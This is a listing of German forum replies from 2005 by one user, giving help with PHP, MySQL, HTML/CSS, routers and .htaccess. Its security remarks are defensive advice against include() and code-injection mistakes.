Das ist keine Lsung. Es werden ja keine unzulssigen Variablen genutzt sondern Variablen die du in deinem Script hast und nicht ausreichend prfst oder Variablen die halt nicht sauber initialisiert werden, wodurch die bergebenen Werte genutzt werden. In beiden Fllen sind die Variablen in Script und werden genutzt. Nur halt fehlerhaft. argc und argv sind fr Commandline-Scripte (php-cli) gedacht. Nicht fr eine solche Prfung....



EIN Notebook und ZWEI Router - Computer & Co - Hardware und Software
in Computer & Co - Hardware und Software am 26.10.2005 10:26 von subjective

Und da ihm beide Router gehren und er beide konfigurieren kann, kann er auch beide identisch konfigurieren (gleicher IP-Adressraum). Womit welbst bei einer manuellen Eingabe die Umschaltung wegfllt....



spracherkennung vom browser und weiterleitung - PHP & MySQL
in PHP & MySQL am 26.10.2005 10:24 von subjective

Probier es mal mit dem HTTP-HEader Location statt Refresh: header(\'Location: http://...\'); ...



Bei einem abgesendeten PHP-Formular alle Textfelder mit Hilfe eines Indexes prfen - PHP & MySQL
in PHP & MySQL am 26.10.2005 10:23 von subjective

Lege die ein Array im PHP an, welches die Informationen zu den einzelnen Feldern enthlt beim Ausgeben kannst du aus diesem Array die Formularfelder erzeugen, beim Prfen holst du die Prffunktion da raus....



Homepagecheck auf Sicherheitslcken? - Internet Online Speicherdienste
in Internet Online Speicherdienste am 25.10.2005 10:45 von subjective

Eine solche Prfung geht nicht komplett automatisch und ist entsprechend teuer....



Nur bestimmte Variablen zulassen - Wie ?? - PHP & MySQL
in PHP & MySQL am 25.10.2005 10:43 von subjective

Du mut einfach intern alle Variablen, welche du auch nutzt, zuerst initialisieren. Wenn jemand dann versuchen wrde, ber eine dieser Variablen Werte einzuschleusen, wrden sie bei der Initialisierung einfach ersetzt werden. Die erste Nutzung einer Variable in einem Script muss also immer eine Zuweisung oder eine Prfung (gewollte bergabewerte) sein....



Bilder aus PDF-Datei kopieren - Layout - Webwork bis Print fr Webseiten
in Layout - Webwork bis Print fr Webseiten am 24.10.2005 11:04 von subjective

PDF ist ein auf Ausgabe formatiertes Format - das kopieren ist eigentlich nicht vorgesehen. DU kannst versuchen es in einer Bildbearbeitung (Photoshop) oder im Acrobat (nicht Reader) zu ffnen. Dort bist du eventuell in der Lage auf die einzelnen Elemente des Dokumentes zuzugreifen....



EIN Notebook und ZWEI Router - Computer & Co - Hardware und Software
in Computer & Co - Hardware und Software am 24.10.2005 11:00 von subjective

Die Mac-Adresse ist dafr irrelevant. Es sind zwei getrennte Funktionen das eine ist DHCP (Dynamsich Host Configuration Protokoll) - DIe IP und weitere Einstellungen werden automatisch vom Server den verbundenen Clients zugewiesen. Die Angabe der Mac-Adresse ist ein Sicherheitsmerkmal. Man kann einen Router so einschrnken, das er nur auf Rechner mit den eingegebenen MAC-Adressen reagiert. Wie ich bereits beschrieben hatte ist keine Zusatzsoftware ntig....



Rahmenfarbe verndern - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 19.10.2005 11:34 von subjective

Weil eine Tabellenzeile auerhalb der Zellen keine Elemente enthalten darf. gruppiert nur und - mehr nicht. Dabei spielt es keien Rolle ob der Browser schlau genug ist, das fehlerhafte HTML dennoch einigermaen nutzbar darzustellen. Tabellen (das Rendering) sind so schon kompliziert genug, da muss man dem Browser nicht noch mehr Steine in den Weg werfen....



EIN Notebook und ZWEI Router - Computer & Co - Hardware und Software
in Computer & Co - Hardware und Software am 19.10.2005 11:31 von subjective

WLAN-Router knnen im Normalfall auch DHCP - also alle Konfigurationsdaten automatisch zuweisen. Alternativ knnte man die beiden WLAN-Router identisch konfigurieren (gleiche IP, SSID, ...). Als dritte Mglichkeit knnte man einen WLAN als DHCP und einen auf Manuell konfigurieren. Windows XP kann eine Alternativeinstellung zu DHCP als Fallback speichern. Die Verschlsselungscodes sind vom Profil abhngig, knnten also unterschiedlich sein....



[gelst] wie bekomme ich daten aus der mysql db in ein javascript? - PHP & MySQL
in PHP & MySQL am 18.10.2005 15:29 von subjective

Fr PHP ist die Ausgabe nur Text - egal ob du HTML, JS oder CSS ausgibst. Gib also einfach den passenden Quelltext aus, welchen der Browser dann verarbeiten kann. Wenn es reine JS- oder CSS-Dateien sind, solltest du noch den passenden Content-type-Header schicken....



value bei input type=file - PHP & MySQL
in PHP & MySQL am 17.10.2005 11:00 von subjective

Es geht nicht. Man kann einem Dateiupload-Feld keine Vorauswahl geben. Nicht per HTML und auch nicht per JS. Eine solche Zuweisung wre ein groes Sicherheitsproblem. Man knnte ja beliebige Werte eintragen und dann das Formular absenden lassen. Dann knnte eine Webseite einfach so Daten vom Rechner des Besuchers hochladen lassen. Die einzige Mglichkeit Formulare, die ein solches Feld enthalten, zu prfen ist JS. Eine solche Prfung darf natrlich nur zustzlich zu einer Serverseitigen drin sein. Aber sie kann an dieser Stelle ein groes Plus in der Usablity sein. ...



Registration - PHP & MySQL
in PHP & MySQL am 12.10.2005 16:20 von subjective

Deine Anwendung soltle auf keinen Fall dynamisch PHP-Code erzeugen. Ist ne wunderbare Sicherheitslcke... Einmal ungengend geprft und schon kann man beliebigen PHP-Code einfgen....



Rahmenfarbe verndern - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 11.10.2005 18:29 von subjective

So hnlich funktioniert das in der JS-Lsung allerdings wird keine id bentigt....



Hilfe bei C# - Sonstige Web-Programmiersprachen
in Sonstige Web-Programmiersprachen am 11.10.2005 11:08 von subjective

Hrt sich nach einer Hausaufgabe an......



Rahmenfarbe verndern - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 11.10.2005 10:32 von subjective

Vor allem wre ein um das ganz simpel fehlerhaftes HTML. Wenn es nicht im FF funktioniert, kann es auch daran liegen, das es nicht genau genug ist. Ein Beispiel fr die JS-Lsung findest du . Es ist allerdings eine sehr alte Seite. Inzwischen bevorzuge ich Listen mit . Diese kann ich dann auch im IE problemlos per JS ndern. Schau mal , was da alles so geht....



Rahmenfarbe verndern - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 10.10.2005 17:41 von subjective

Die Pseudoklassen schreibt man direkt an den eigentlichen Selector - da ist ein Leerzeichen zuviel. .srpic:hover...



Rahmenfarbe verndern - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 10.10.2005 16:32 von subjective

Im Firefox kann auch der -Tag einen :hover bekommen. Der IE akzeptiert dies nur fr . Es bleibt also nur die Mglichkeit im onmouseover/onmouseout die CSS-Klasse des umzustellen. Man sollte dann immer eine Kante haben - sonst kann die Darstellung \hpfen\....



ftp uploadskript in php - PHP & MySQL
in PHP & MySQL am 10.10.2005 13:37 von subjective

Nein fr hochgeladeen Dateien gibts es die spezielle Funktion move_uploaded_file(). Die Funktion copy() ist dafr nicht geeignet, da sie u.a. den Beschrnkungen von SafeMode und OpenBaseDir unterliegt....



ftp uploadskript in php - PHP & MySQL
in PHP & MySQL am 10.10.2005 12:20 von subjective

Bist du sicher das nicht ein einfacher HTTP-Upload reichen wrde? (Den muss dieses Script brigens auch machen)...



[gelst] index.php?seite=.....wird mibraucht. - PHP & MySQL
in PHP & MySQL am 10.10.2005 12:00 von subjective

Sei froh das die Leute anscheinend nur HTML einbinden lassen haben. Sie htten genauso gut PHP-Quellcode in deine Seite einschleusen knnen. Bei include() wird nmlich der geladenen Text immer als PHP-Quellcode durch den Interpreter geschickt. Der Angreifer kann also alles, was du auch mit PHP machen kannst. Einschlielich system(), exec() oder Datenbankmanipulationen....



kostenloses highend Browserspiel (MMOG) - Computer & Co - Hardware und Software
in Computer & Co - Hardware und Software am 07.10.2005 10:00 von subjective

Schon wieder diese Werbung :-(...



Eigenes Browsergame^^ - PHP & MySQL
in PHP & MySQL am 06.10.2005 20:11 von subjective

...



Datei in php einbinden, aber ohne echo - PHP & MySQL
in PHP & MySQL am 06.10.2005 12:27 von subjective

\Wenn die Lsung eval() heit, hast du ein Problem\ :-) Eine eingebundene Datei luft immer im aktuellen Namenraum und kann auf dessen Variablen zugreifen. Es kann sie natrlich auch setzen, ein echo ist vllig unntig. ist PHP-Syntax - sie wegzulassen wre falsch. Man sollte bedenken das man auch innerhalb von PHP jederzeit mit ?> ... einschliet ist also ganz simpel ungltiges PHP. (Es gibt eine Ausnahme, welche die Regel besttigt.) Bei includes() die selbst keine Ausgabe haben sollen, bietet sich an den enthaltenen Quellcode in Funktionen zu verpacken, welche man dann von der Hauptdatei nach dem Einbinden aufruft. Somit kann man auch Parameter bergeben und exakter steuern. Falls man keinen Einfluss auf den Quellcode des Includes hat und Ausgaben blocken mchte hilft der folgende Code: ...



Frage zur PHPInfo - PHP & MySQL
in PHP & MySQL am 05.10.2005 18:03 von subjective

Das sollte einen Parse Error geben, da dort ein } fehlt, wenn ich das richtig sehe. Auch ist es unblich nach -> ein Leerzeichen zu machen. Wenn das Error-Reporting hoch genug ist sollten auch die fehlenden Quotes fr den Arrayschlssel in der SQL-Query angemault werden. Die Fehlerbeschreibung ist nicht sehr aussagekrftig. Du solltest und schon sagen welche SQL-Query mit welcher Fehlermeldung nicht funktioniert....



kostenloser Webspace mit php und mysql datenbank - Internet Online Speicherdienste
in Internet Online Speicherdienste am 05.10.2005 10:19 von subjective

Man holt keine fremden Daten per PHP-Include - dies wrde readfile() genauso tuen. Aber selbst dann bentigst du auf beiden Rechnern PHP (Forum und Forumeinbindung sind beide dynamische Webseiten) Zur Hosterwahl kann ich Baldur nur zustimmen. Investier lieber ein paar Euronen....



Textdatei an bestimmter ggf. auslesen und bearbeiten - PHP & MySQL
in PHP & MySQL am 04.10.2005 16:35 von subjective

Dies ($search) ist konzeptionell keine Konfiguration sondern eher Stammdaten der Anwendung. Ich wrde dir ein einfacher einlesbareres Format (serialize, csv, xml, ...) empfehlen. Auerdem solltest du keinen PHP-Quellcode dynamisch schreiben. Wenn ein Angreifer es schafft, an den Eingabeprfungen/dem Escaping vorbei PHP-Quellcode zu schreiben, kann er alles machen was du mit PHP auch kannst (DB-Passwort lesen und schreiben z.B.) Falls du es dennoch unbedingt machen willst, helfen dir die Funktionen file_get_contents und preg_match_all. Kann jedoch beliebig komplex werden....



[gelst] Domain einbinden -> Weiterleitung fr phpkit - PHP & MySQL
in PHP & MySQL am 04.10.2005 16:27 von subjective

Geht eigentlich nicht....



[gelst] Domain einbinden -> Weiterleitung fr phpkit - PHP & MySQL
in PHP & MySQL am 04.10.2005 14:42 von subjective

Languitar: Ein HTTP-Header Location erzwingt immer einen neuen Request. Das ist der Sinn dieses Headers. Er sagt dem Browser, dass die Inhalte des aktuellen Requests nicht gerendert/dargestellt werden sollen, sondern die angegebene URL aufgerufen. Die absolute Angabe ist die korrekte Variante. Die Browser knnen soweit ich wei auch alle mit relativen Angaben umgehen. Dies gilt jedoch nicht fr alle HTTP-Clients (PHP-Scripte, Suchmaschinen, ...)....



suche gute Tutorials zum thema Loginscript - PHP & MySQL
in PHP & MySQL am 29.09.2005 15:23 von subjective

Ein Cookie, welches nur existiert, solange der Browser offen bleibt, ist der beste Ort fr eine Session-Id. Da nicht alle Benutzer Cookies akzeptieren, sollte man ein Fallback (URL, Formularfelder) einbauen. Mit der Datenbank im Hintergrund haben die Cookies (bzw. die bermittlung der Session-Id) nichts zu tun. Diese beiden Punkte sind voneinander unabhngig....



Recht bei Bannerklau? - Recht im Internet - keine Rechtsberatung zur Homepage !
in Recht im Internet - keine Rechtsberatung zur Homepage ! am 28.09.2005 20:17 von subjective

Grafiken unterliegen dem Urheberrecht. Ergo muss man auch ber die entsprechenden Nutzungsrechte verfgen, wenn man sie verwenden mchte. Sonst sind Abmahnungen/Anzeigen durchaus mglich. Gleiches gilt brigens auch fr Texte....



Admin tool fr MySQL - PHP & MySQL
in PHP & MySQL am 28.09.2005 20:15 von subjective

Fr den Desktop wrde ich die neuen MySQL AB Tools empfehlen. (MySQL Administrator, MySQL Query Browser, MySQL Monitor). Bei Remote auf dem Webserver mit PHP, kommt man an phpMyAdmin eignetlich nicht vorbei. Fr Dumps und hnliches sollte man sich mit den Konsolenprogrammen noch etwas auskennen. ...



Relaunch Design Agentur fabrik1design - Tabellenlos, valides XHTML & CSS - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 28.09.2005 11:32 von subjective

Zeigt sehr schn was mit CSS mglich ist. Beispielhafte Seite. Allerdings hab ich doch etwas gefunden: Wozu? Warum habt ihr nicht den Abstand der Abstze gesetzt, welche ihr ehh schon habt? Des weiteren sollte man nach Mglichkeit kontextbezogene Klassennamen fr das CSS verwenden, keine layoutbezogenen. Sonst hat man ja doch wieder die Layoutinformation im HTML stehen (vspace2px)....



eure meinung zu meiner seite - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 27.09.2005 19:03 von subjective

Du kannst bei CSS Elemente absolut positionieren. Auch Hintergrnde innerhalb von Elementen knne positioniert und ausgerichtet werden. Bei Inline-CSS muss der Browser das CSS bei jedem Seitenaufruf laden, eine externe CSS-Datei kann der Browser cachen....



datenbankconfig.php schtzen? - PHP & MySQL
in PHP & MySQL am 26.09.2005 11:13 von subjective

Die Frage ist Berechtigt, sicher, allerdings ist .htaccess nur eine Lsung von drei. 1.) Auerhalb des Document-Root - Webserver liefert nicht mehr aus 2.) Endung .php - Webserver liefert Ausgabe der Datei aus, die sie nur Variablendefinition enthlt gibt es keine Ausgabe - also wird nichts (leerer Text) ausgeliefert. 3.) .htaccess - Man kann mit speziellen Anweisungen in der .htaccess dem Webserver sagen das er die Datei bzw. Dateien in einem Verzeichnis nicht ausliefern soll. Alternativ knnte er beim Aufruf eienr bestimmten URL auf eine andere weiterleiten. In allen drei Fllen ist nur der Abruf ber den Webserver betroffen. Lokal ist die Datei normal verwendbar. Bei einem include() ber http, bekommt PHP die gleichen Daten, welche auch ein Webbrowser bekommen wrde, also die Ausgabe des PHP-Scriptes oder die Weiterleitung, da dies ein normaler Abruf ber den Webserver ist. Ein solches include() ist in 99,99999% der Flle kompletter Unsinn und gefhrlich - in den meisten Fllen lt es sich direkt durch readfile() ersetzen, in anderen sollte man ein Datenaustauschformat (z.B. XML) verwenden....



[gelst] Frage zur PHP Syntax - PHP & MySQL
in PHP & MySQL am 23.09.2005 13:04 von subjective

Das ist eine Referenzuweisung, es wird also nicht der Inhalt in eine neue Variable kopiert, sondern lediglich eine Referenz erzeugt. nderungen an der ursprnglich Variable beeinflussen so auch $u und umgekehrt. Allerdings sieht die Zeile an sich nicht wirklich sinnvoll aus, da $u auch als Parameter verwendet wird....



Java Applet SQL Datenbank? - PHP & MySQL
in PHP & MySQL am 22.09.2005 16:00 von subjective

Richtig ein SQL-Server bentigt keien Verbindung nach auen. Damit wird die Angriffflche vermindert. Dies ist kein Umweg sondern eine Trennung. (Mit JSP wre es brigens das gleiche in grn.) Es hat den Vorteil das du die Aktionen schon durch das Script beschrnkst, was wiederum die Angriffsmglichkeiten vermindert. Das Applet kann nur noch \vorgefertigte\ Aktionen aufrufen. Auch sind alternative Clients (Flash, JS, ...) denkbar....



DIV reserviert ungewollt Platz - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 22.09.2005 12:10 von subjective

Du prfst auf visiblity - nicht auf display, und du kannst den erstwert fr display, wie bei jeder anderen CSS-Eigenschaft natrlich im CSS setzen....



DIV reserviert ungewollt Platz - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 22.09.2005 10:51 von subjective

Du mut das display per JS umstellen nicht visibility und nicht position....



eure meinung zu meiner seite - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 22.09.2005 10:44 von subjective

Die Idee ist nett, die Umsetzung mangelhaft - wurde zu Layoutzwecken mibraucht und viele CSS-Angaben stehen als proprietre HTML-Attribute im Quellcode....



preloader - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 22.09.2005 10:38 von subjective

...



Redesign Basketballseite - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 22.09.2005 10:36 von subjective

Die Icons fr die Bereiche sind nett, die restlichen Icons erzeugen zu groe Box-Header. Zum HTML-Code einfach mal die letzten Beitrge von Efchen ber die Verwendung von fr Layouts durchlesen....



DIV reserviert ungewollt Platz - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 22.09.2005 10:25 von subjective

Probier es mal mit der CSS-Eigenschaft [i]display[/i] und experimentiere dort mit [b]none[/b] bzw. [b]block[/b]....



preloader - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 21.09.2005 20:38 von subjective

Flash selbst ist die Lsung, denn Flash kann auch selbst wieder Flash-Dateien nachladen und interaktiv whrenddessen andere Sachen ausfhren. :-)...



Probleme mit in FF, IE geht problemlos - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 20.09.2005 10:04 von subjective

Dies wre dann [b]margin-bottom[/b] fr das ...



Probleme mit in FF, IE geht problemlos - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 19.09.2005 12:15 von subjective

Die Browser verwenden unterschiedliche Standardwerte fr viele Abstnde. Daher solltest du sie halt alle exakt definieren....



Probleme mit in FF, IE geht problemlos - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 19.09.2005 11:01 von subjective

Das HTML spielt eine geringe Rolle - wichtiger ist das CSS - hier mut du fr das padding-left und margin-left korrigieren. (wird unterschiedlich behandelt). Auch sind die class-Attribute der inneren Elemente ( und ) nicht unbedingt notwendig. Du kannst hier mit der Kaskadierung arbeiten: Diese Arbeitsweise verkleinert den HTML-Code immens. Das ganze lt sich bei verschachtelten Listen (Mens mit Unterpunkten) auch weiterfhren: ...



css - Textbox in Flietext - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 19.09.2005 10:33 von subjective

Das funktioniert genauso wie bei einem Bild mit [b]float[/b] und [b]width[/b]. Erstaunlicherweise spielen die Browser dabei sogar mal mit :-)...



IP Herausfinden - Internet & Co
in Internet & Co am 16.09.2005 15:33 von subjective

IPs haben keinen Bezug zu einer E-Mail-Adresse. Du kannst dir den Quellcode einer E-Mail anschauen, dort sind die E-Mails-Server zu sehen, ber die das ganze ging. Bei der ersten Stelle kannst du dann nach Informationen zum Absender fragen. *btw* Doppelpostings sind unntig....



PopUp ohne JavaScript? - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 15.09.2005 14:15 von subjective

Das ist aber kein PopUp im klassischen Sinne (und kein Extra fenster wie in der Fragesteller wollte). Bei dem CSS-Trick wird einfach dem img-tag innerhalb des Links ein anderer Style zugewiesen, wenn man ber den Link fhrt. Es sollte dennoch in einem Link lsbar sein, wenn man die href und den onclick()-Handler definiert. In diesem Fall sollte bei JS der Event-Handler ansprechen, ohne JS halt die URL in href....



Meine Site - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 15.09.2005 13:07 von subjective

Semantisches HTML mit CSS = richtig Merke man kann nicht nur DIVs mit CSS formatieren, sondern alle HTML-Tags....



Auslesen aus Datenbank funktioniert nicht (bzw. teilweise) - PHP & MySQL
in PHP & MySQL am 15.09.2005 13:03 von subjective

Ein \Ignorieren\ ist auch ein Fehler und du kannst darauf natrlich im PHP prfen. Du kannst ja auch im PHP gucken ob Daten kommen die dieser Bedingung nicht entsprechen. Auerdem war das schon wieder PHP-Code und kein SQL. Das Error-Reporting definiert man in der php.ini oder durch Aufruf der funktion error_reporting(). Dann sollte PHP auch ber deine Array-Schreibweise schimpfen, da du die Array-Schlssel nicht als Strings auszeichnest, sondern als Konstanten eintrgst (bei nicht definierten Konstanten nimmt PHP den Namen der Konstante als String)...



Auslesen aus Datenbank funktioniert nicht (bzw. teilweise) - PHP & MySQL
in PHP & MySQL am 15.09.2005 10:41 von subjective

Stimmt nicht - du hast [i]eine[/i] Anfrage eingegeben - da du das SQL dynamisch zusammenbaust, gibt es [i]die[/i] Anfrage gar nicht. Prfe welche von PHP dort zusammengebaut wird, wenn der Fehler auftritt. Hier im Forum hast du bisher noch keine Anfrage gepostet, nur PHP-Code. Grundstzlich erstmal sind weder Timestamps (in welchem Format auch immer), noch Browser verantwortlich. Ich vermute eher das eine der Variablen einen ungltigen Wert enthlt. Daher nochmal die Aufforderung. La dir im Fehlerfall das SQL ausgeben und prfe es. *btw* nur am Rande $gruppe[aktuell] ist unsauber - {$gruppe[\'aktuell\']} wre korrekter (man kann alternativ auch den String unterbrechen). Schalte mal das Error-Reporting auf E_ALL, dann siehst du sicher eine Menge mglicher Fehlerquellen....



Auslesen aus Datenbank funktioniert nicht (bzw. teilweise) - PHP & MySQL
in PHP & MySQL am 14.09.2005 15:47 von subjective

La dir mal das SQL ausgeben, welches du da zusammenbaust, dann entdeckt man Fehler deutlich einfacher....



[gelst] db verbindung - PHP & MySQL
in PHP & MySQL am 13.09.2005 10:37 von subjective

Nur am Anfang des Requests wird die Verbindung geffnet und die Datenbank ausgewhlt. Die Verbidnung stndig zu schlieen und neu zu ffnen, wrde viel zu viel Zeit kosten. PHP schliet nicht persistente Verbindungen ja automatisch bei Scriptende, daher muss man dies nicht selbst machen. Achja persistente Verbindung wiederum will man auch nicht verwenden, da sie hufig nicht wiederverwendet werden knnen und nur per Timeout geschlossen werden. Ergebnis \To many mysql connections\ Da sollte man also gut wissen was man tut. :-)...



[gelst] Datensatz von anderem Server holen... - PHP & MySQL
in PHP & MySQL am 07.09.2005 10:24 von subjective

Man macht kein include() auf http-Adressen. In diesem Fall wird das PHP der aufgerufenen Seite schon dort ausgefhrt - PHP verhlt sich wie ein Browser. Es gibt jedoch einen Unterschied. Wenn die URL PHP-Quellcode zurckgibt, wird dieser vom lokalen PHP interpretiert. Falls ein Angreifer also diese Ausgabe beieinflussen kann, kann er beliebigen PHP-Code bei dir ausfhren lassen. languitar hat ja bereits eine Lsung beschrieben. Alternativ kann man das Array natrlich auch als CSV oder XML ausgeben lassen - ja nach Daten und weiterer Verwendung. Wichtig ist, das man diese Daten genau wie Benutzereingaben behandelt - sie sind per se erstmal bse und mssen geprft werden....



Um- bzw Weiterleitung per .htaccess - Server-Administration und Verwaltung
in Server-Administration und Verwaltung am 05.09.2005 11:01 von subjective

Das zweite Beispiel ist unlogisch - da im ersten Teil des Befehls mit der angeforderten URL gearbeitet wird - diese enthlt aber nicht den Pfad auf dem Server. Das Verhalten im ersten Beispiel wrde ich auch erwarten. Der / trifft alle URLs auf dem Server also auch die angegebene Ziel-URL. Dadurch ergibt sich eine Endlosschleife. Eventuell solltest du etwas genaueres (wie /index.php) verwenden - mte man austesten. Wenn man mod_rewrite nutzen wrde, wre es auch mglich per RewriteCond zu prfen ob die aufgerufenen URL keine Datei aus dem Server reprsentiert und nur in diesem Fall weiterzuleiten....



preg_replace (problem fr profis) - PHP & MySQL
in PHP & MySQL am 31.08.2005 16:38 von subjective

Deine Treffer umfassen halt auch diese beiden Zeichen (eines am Anfang und eines am Ende). Dies ist in der RegEX so definiert worden. Du kannst nun entweder die RegEx so umstellen, dass sie diese beide Zeichen gar nicht mehr trifft oder die beiden Zeichen in Gruppierungen (Subpatterns) legen lassen und beim Ersetzen diese wieder einfgen....



[gelst] checkbox auswertung per mail - PHP & MySQL
in PHP & MySQL am 31.08.2005 16:35 von subjective

Du haste die Werte (value) aber gar nicht gesetzt im HTML....



Layer mittig zentrieren? - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 31.08.2005 12:42 von subjective

Der Name der Klasse sollte sich auf den Inhalt beziehen - nicht auf das Layout. Erst damit ist das Layout komplett im CSS und somit vom HTML getrennt. Mit der Nutzung von \center\ als Klassennamen legst du die Formatierung (rein konzeptionell) schon im HTML fest - auch wenn die eigentliche Anweisung erst im CSS steht. Du verlierst also bis zu einem bestimmten Grad die Trennung wieder, die durch das CSS erreicht werden soll....



[gelst] Abschicken eines Formulars kontrollieren - PHP & MySQL
in PHP & MySQL am 31.08.2005 10:14 von subjective

Prfe ab ob ein verstecktes Formularfeld oder der Submitbutton eine bestimmte Variable erzeugt. ...



mit Java Script Zeichen in Eingabefeldern sperren/erlauben - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 29.08.2005 13:10 von subjective

Wie schon beschreiben geht es durchaus auch bei jedem Tastendurck. Empfehlen wrde jedoch eher das Prfen beim Absenden (mittels JavaScript) und beim Empfangen (serverseittig mittels ASP). In beiden Fllen solltest du RegEx nutzen knnen. Direkt bei der Eingabe wird dies jedoch sehr schwierig. So wre 2005-06 kein gltiges Datum obwohl du es als Eingabe zulassen mut. Der User vervollstndigt es ja erst durch die weitere Eingabe....



Eigentlich habe ich es nicht ntig... - Eure Webseite im Webmaster Forum
in Eure Webseite im Webmaster Forum am 25.08.2005 13:15 von subjective

Ich wrde eher sagen das da eine Kritik ntig ist. Sowowhl Layout, wie auch Technik sind sehr stark verbesserungswrdig. Sorry aber auer dem Umfang der Informationen kann ich keinen positiven Aspekt an der Seite finden. Kritikpunkte - Kein Design - Frames - Javscript-Navigation - Standard-Formmail-Script statt einfachem individuellem Script (Eingabeprfungen mit Javascript) - unsaubere Grafiken (z.B. \Next Tee\ in Impressionen) - allgemeines Passwort fr alle Mitgleider und einfach JS-Weiterleitung dahinter - Disclaimer unter Links ist wertlos - kann eher das Gegenteil bewirken - ......



Ajax - PHP & MySQL
in PHP & MySQL am 25.08.2005 10:56 von subjective

Bei mir funktioniert auch das Beispiel auf deren Webseite nicht. (Seite wird dargestellt, weiter passiert nix) Ich verwende fr diese Zwecke eher individuelle JS-Callbacks in iframes oder direkt XMLHTTPRequest. Den aktuellen Hype um \Ajax\ kann ich nicht nachvollziehen. Im Normalfall sollte es bei all diesen Konzepten _gar_ keinen Reload der Hauptseite mehr geben. Statt dessen werden im Hintergrund neue Informationen geladen und dann ber JS/DOM die Seite im Browser gendert. Der Location-Header veranlat den Browser direkt die nchste Seite aufzurufen, ohne die aktuelle Seite darzustellen. Die Funktion exit() beendet das Script komplett. Damit wre natrlich im Browser kein Reload sichtbar. Aber weder im PHP noch im Browser wrden Anweisungen nach diesen Befehlen abgearbeitet werden. ...



Ajax - PHP & MySQL
in PHP & MySQL am 24.08.2005 12:56 von subjective

Ich wei nicht wie sie es wirklich machen - ich sehe nur was durch den Quellcode passiert. Am besten nimmst du die beiden Zeilen einfach mal raus. ...



Layer mittig zentrieren? - HTML, CSS - Hilfe fr das Erstellen einer Homepage
in HTML, CSS - Hilfe fr das Erstellen einer Homepage am 23.08.2005 12:11 von subjective

Smonkey - ddu wirst unhflich und persnlich. :mad Es ist blich bei konkreten Antworten auf bestimmte Textstellen sie zu zitieren. Dies erhht die Lesbarkeit. Efchen trifft keine [i]globale Aussage[/i] sondern, bietet einfach eine genauere Begrifflichkeit an, welche auf alle Surfer zutrifft. Natrlich wird im Webbereich immer von Auflsung gesprochen. Aber es ist eigentlich nicht korrekt wenn man ein Layout entwirft. Die Innengre des Browserfensters ist von vielen Faktoren abhngig. Die Aufsung ist einer, die Vorliebe des Besuchers eine zweite, der Browser selbst, die Breite der Scrollbars, ... Nach meinen persnlichen Erfahrungen steigt mit der Gre der Auflsung auch die Wahrscheinlichkeit das der Besucher sein Browserfenster nicht auf Vollbild schaltet und/oder Sidebar-Funktionen des Browsers nutzt. Bedenke das du die Seiten nicht nur fr deinen Kunden machst, sondern vor allem auch fr die Kunden deiner Kunden. Die Schwierigkeit ist beide Zielgruppen glcklich zu machen. Die Systemvorraussetzung bei Webseiten ist erstmal nur ein Browser. Nicht einmal ein Bildschirm stellt eine Notwendigkeit dar. Marketing beschrnkt sich nicht auf Optik. Auch Texte, Tne, Gegenstnde und anderes knnten zur Vermittlung der CI genutzt werden. Durch verhlt sich der Abstand relativ zum Schriftgrad. Wenn man diesen ndert, wird sich also der Abstand korrekt anpassen. Ist vor allem interessant, wenn man die Kaskadierungen nutzt. ...



Ajax - PHP & MySQL
in PHP & MySQL am 22.08.2005 18:08 von subjective

Die Fehlermeldung sagt aus, dass du immer weiterleitest - es ergibt sich eine Endlosschleife. Dein Script wird ehh nur immer bis zu dem exit() ausgefhrt - alles danach wird ignoriert. Da dieses exit() nicht bedingt ist (kein if) passiert dies bei jedem Aufruf der Seite. Wenn die Seite sich selbst aufruft, ergibt dies eine Endlosschleife, ohne das der Browser jemals dazu kommt eine Seite darzustellen....



$_GET Variablen bergeben. - PHP & MySQL
in PHP & MySQL am 22.08.2005 15:12 von subjective

Besser :-)...



Ajax - PHP & MySQL
in PHP & MySQL am 22.08.2005 12:39 von subjective

Also in deinem POST ist es nicht Zeile 1 sondern 4 - durch die Whitespaces davor, wrden also Leerzeichen ausgegeben werden, die Weiterleitung ist ein HTTP-Header und kann nicht mehr nach der Ausgabe von Inhalt erfolgen. Falls diese Leerzeilen nur ein Postingfehler sind, kann es zustzlich in Problem mit dem Location-header() sein. Manche Provider bentigen zwingend ein header(\'Status: 301 Moved\') bzw header(\'Status: 302 Temporary Moved\'). Sonst kommt eine Zwischenseite....



$_GET Variablen bergeben. - PHP & MySQL
in PHP & MySQL am 22.08.2005 11:32 von subjective

